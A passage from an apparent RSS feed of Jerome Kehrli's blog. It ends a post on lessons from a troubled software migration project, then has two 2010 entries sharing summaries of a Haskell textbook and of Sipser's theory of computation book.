&lt;tr&gt;
&lt;td class=&quot;story firstleft&quot;&gt;
&lt;img alt=&quot;How it was supported&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/90486e14-000a-4cb9-b13e-22e509499a09&quot;/&gt;
&lt;/td&gt;&lt;td class=&quot;story firstright&quot;&gt;
&lt;img alt=&quot;What the customer really needed&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/92a77d1c-d45f-4612-825c-7cfe1655c450&quot;/&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td class=&quot;story secondleft&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;How it was supported&lt;/span&gt;
&lt;/td&gt;&lt;td class=&quot;story secondright&quot;&gt;
&lt;span style=&quot;font-size: 10px;&quot;&gt;What the customer really needed&lt;/span&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;span style=&quot;font-size: 9px;&quot;&gt;(I haven&apos;t been able to find who these pictures belong to so please contact me in case of copyright infringement)&lt;/span&gt; 
&lt;/div&gt;

&lt;p&gt;
Happily there have been a lot of trends in the last decade aiming at preventing such failures to happen again, let&apos;s just thing of XP or Agile to name only those two.
&lt;/p&gt;
&lt;p&gt;
We should definitely have integrated from scratch two key people in the architecture/development team : a business user and an experienced developer from the legacy system. These two persons could have pointed out from the very beginning the mistakes in understanding or interpretation and they would have kept everyone&apos;s mind on track.
&lt;/p&gt;
&lt;p&gt;
A good starting point with XP I would recommend is Kent Beck&apos;s classical &quot;Extreme Programming Explained: Embrace Change&quot; &lt;br&gt;
&lt;a href=&quot;http://www.amazon.com/Extreme-Programming-Explained-Embrace-Change/dp/0201616416&quot;&gt;http://www.amazon.com/Extreme-Programming-Explained-Embrace-Change/dp/0201616416&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Integrating these people was eventually what we did and thanks to them we succeeded in architecturing and designing the new system, too bad it&apos;s been 2 months late and after being laughed at by the whole IT. The migration process is now running well.

&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/functional-programming-in-haskell</guid>
    <title>Functional programming in Haskell</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/functional-programming-in-haskell</link>
        <pubDate>Sun, 24 Jan 2010 11:28:18 -0500</pubDate>
    <category>Computer Science</category>
    <category>functional-programming</category>
    <category>haskell</category>
            <description>&lt;p&gt;
Functional programming addicts,
&lt;/p&gt;
&lt;p&gt;
I&apos;m following an Haskell programming course. It was a short course, though we ran pretty much completely through the book &quot;Programming in Haskell&quot; by Graham Hutton. My personal view on this is that Haskell is a great language which offers a concision rarely reached by other languages, even other functional ones. The book sucks though. It&apos;s follows a way too much theoretical approach which makes it quite cumbersome and not interesting at all.
&lt;/p&gt;
&lt;p&gt;
I&apos;ve been told though that Hutton&apos;s book is &lt;b&gt;the&lt;/b&gt; reference for Haskell programming. On my side I really found the various tutorials I could find online much more useful than the thorough lecture of this book I&apos;ve been pretty much forced to follow.
&lt;/p&gt;
&lt;p&gt;
Anyway, as usual I made a nifty summary on this book, so help yourself :
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://niceideas.ch/roller2/badtrash/mediaresource/cf923af2-1d8a-4250-bc54-6f8984938811&quot;&gt;Haskell summary&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
The summary stands on three A4 pages and should serve as a reference for those who are initiated to Haskell programming and seek for a quick programming reference.
&lt;/p&gt;
&lt;p&gt;
Happy reading, HTH.
&lt;/p&gt;</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/introduction-to-the-theory-of</guid>
    <title>Introduction to the theory of computation</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/introduction-to-the-theory-of</link>
        <pubDate>Sat, 23 Jan 2010 17:05:35 -0500</pubDate>
    <category>Computer Science</category>
    <category>computer-sciences</category>
            <description>&lt;!-- Introduction to the theory of computation --&gt;

&lt;p&gt;
I have written a quite amazing summary on the book &quot;Introduction to the theory of computation&quot; by Michael Sipser. It&apos;s definitely not a replacement for the book itself as it lacks the basic explanation required to understand the presented concepts. But if you have read this book and you&apos;re looking for a short summary standing on 7 A4 pages, there you have it.
&lt;/p&gt;
&lt;p&gt;
The summary focuses on the most important concepts presented by the book and holds the mandatory illustrations going along the various concepts. Well there isn&apos;t much more to say about it, so if you have read that book, check out this summary. You should be pretty amazed to see that pretty much everything actually is in it ... in less than 7 pages.
&lt;/p&gt;
&lt;p&gt;
It&apos;s worth to mention though that it&apos;s quite a big file (3.8 Mb).
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://niceideas.ch/resume_TOCS.pdf&quot;&gt;Summary Theoretical Computer Science&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Good reading, HTH
&lt;/p&gt;</description>          </item>
  </channel>
</rss>